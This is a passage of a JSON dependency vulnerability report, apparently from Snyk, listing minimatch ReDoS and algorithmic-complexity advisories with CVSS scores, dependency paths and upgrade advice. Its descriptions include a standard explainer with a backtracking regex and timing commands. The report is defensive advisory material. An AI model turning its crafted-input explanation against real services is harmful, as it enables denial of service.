would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, 